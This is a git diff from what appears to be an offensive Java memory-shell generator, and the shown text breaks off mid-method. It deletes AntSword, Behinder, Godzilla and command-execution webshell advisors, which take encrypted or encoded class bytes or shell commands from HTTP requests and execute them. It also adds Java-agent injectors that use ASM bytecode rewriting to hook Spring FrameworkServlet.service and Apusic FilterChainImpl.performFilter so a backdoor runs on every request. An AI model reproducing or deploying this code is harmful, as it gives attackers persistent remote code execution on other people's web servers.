a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -53,8 +53,7 @@ public class Wildfly23ContainerTest { Server server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index b883a35f..64423d2e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -53,8 +53,7 @@ public class Wildfly30ContainerTest { Server server = Server.Undertow; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, @@ -65,6 +64,7 @@ public class Wildfly30ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 190e4f70..abe453ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -57,8 +57,7 @@ public class Wildfly9ContainerTest { Server server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List> unSupportedCases = List.of( diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java deleted file mode 100644 index 22314615..00000000 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java +++ /dev/null @@ -1,62 +0,0 @@ -package com.reajason.javaweb.memshell.springwebmvc.antsword; - -import net.bytebuddy.asm.Advice; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -/** - * @author ReaJason - * @since 2025/02/18 - */ -public class AntSwordServletAdvisor { - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response, - @Advice.Origin Class targetClazz - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); - Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Object unsafe = unsafeField.get(null); - Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); - Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); - Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); - getAndSetObjectM.invoke(unsafe, targetClazz, offset, module); - } catch (Exception ignored) { - } - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - byte[] data = null; - Class base64; - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - Object instance = payload.newInstance(); - instance.equals(new Object[]{request, response}); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java deleted file mode 100644 index 4332354f..00000000 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java +++ /dev/null @@ -1,96 +0,0 @@ -package com.reajason.javaweb.memshell.springwebmvc.behinder; - -import net.bytebuddy.asm.Advice; - -import java.io.BufferedReader; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2025/1/18 - */ -public class BehinderServletAdvisor { - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object res, - @Advice.Origin Class targetClazz - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); - java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Object unsafe = unsafeField.get(null); - Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); - java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); - java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); - getAndSetObjectM.invoke(unsafe, targetClazz, offset, module); - } catch (Exception ignored) { - } - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - Map obj = new HashMap(3); - obj.put("request", request); - Object response = res; - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField("response"); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field != null) { - field.setAccessible(true); - response = field.get(response); - } - obj.put("response", response); - Object session = request.getClass().getMethod("getSession").invoke(request); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); - obj.put("session", session); - byte[] data = null; - Class base64; - BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); - String parameter = reader.readLine(); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); - Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); - Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); - Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); - Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES"); - Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - cipherInitMethod.invoke(cipher, 2, secretKeySpec); - byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); - Object instance = payload.newInstance(); - instance.equals(obj); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java deleted file mode 100644 index 8d369bb3..00000000 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.reajason.javaweb.memshell.springwebmvc.command; - -import net.bytebuddy.asm.Advice; - -import java.io.InputStream; -import java.io.OutputStream; - -/** - * @author ReaJason - * @since 2025/1/18 - */ -public class CommandServletAdvisor { - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response - ) { - String paramName = "paramName"; - try { - String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return true; - } - } catch (Exception ignored) { - } - return false; - } -} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java deleted file mode 100644 index 83854b3f..00000000 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.reajason.javaweb.memshell.springwebmvc.godzilla; - -import net.bytebuddy.asm.Advice; - -import java.io.ByteArrayOutputStream; -import java.io.PrintWriter; -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class GodzillaServletAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response, - @Advice.Origin Class clazz - ) { - String key = "key"; - String pass = "pass"; - String md5 = "md5"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); - Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Object unsafe = unsafeField.get(null); - Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); - Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); - Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); - getAndSetObjectM.invoke(unsafe, clazz, offset, module); - } catch (Exception ignored) { - } - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); - Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); - Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); - Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - - Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); - Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES"); - cipherInitMethod.invoke(cipher, 2, secretKeySpec); - - data = (byte[]) doFinalMethod.invoke(cipher, data); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); - if (sessionPayload == null) { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) sessionPayload).newInstance(); - f.equals(arrOut); - f.equals(request); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - f.toString(); - - cipherInitMethod.invoke(cipher, 1, secretKeySpec); - byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray()); - String result = null; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); - } - writer.write(result); - writer.write(md5.substring(16)); - } - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java index c8f75d33..308d60d9 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java @@ -1,39 +1,24 @@ package com.reajason.javaweb.memshell.springwebmvc.injector; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer { +public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet"; + private static final String TARGET_METHOD_NAME = "service"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - } - - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("service"))); + public static String getClassName() { + return "{{advisorName}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +29,174 @@ public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.T launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("org.springframework.web.servlet.FrameworkServlet")) - .transform(new SpringWebMvcFrameworkServletAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); + inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java deleted file mode 100644 index 7d58ad2e..00000000 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.springwebmvc.injector; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet"; - private static final String TARGET_METHOD_NAME = "service"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public SpringWebMvcFrameworkServletAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java new file mode 100644 index 00000000..9da55238 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java @@ -0,0 +1,223 @@ +package com.reajason.javaweb.memshell.injector.apusic; + +import org.objectweb.asm.*; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class ApusicFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl"; + private static final String TARGET_METHOD_NAME = "performFilter"; + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static String getBase64String() { + return "{{base64String}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new ApusicFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter"); + } + } + } + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + 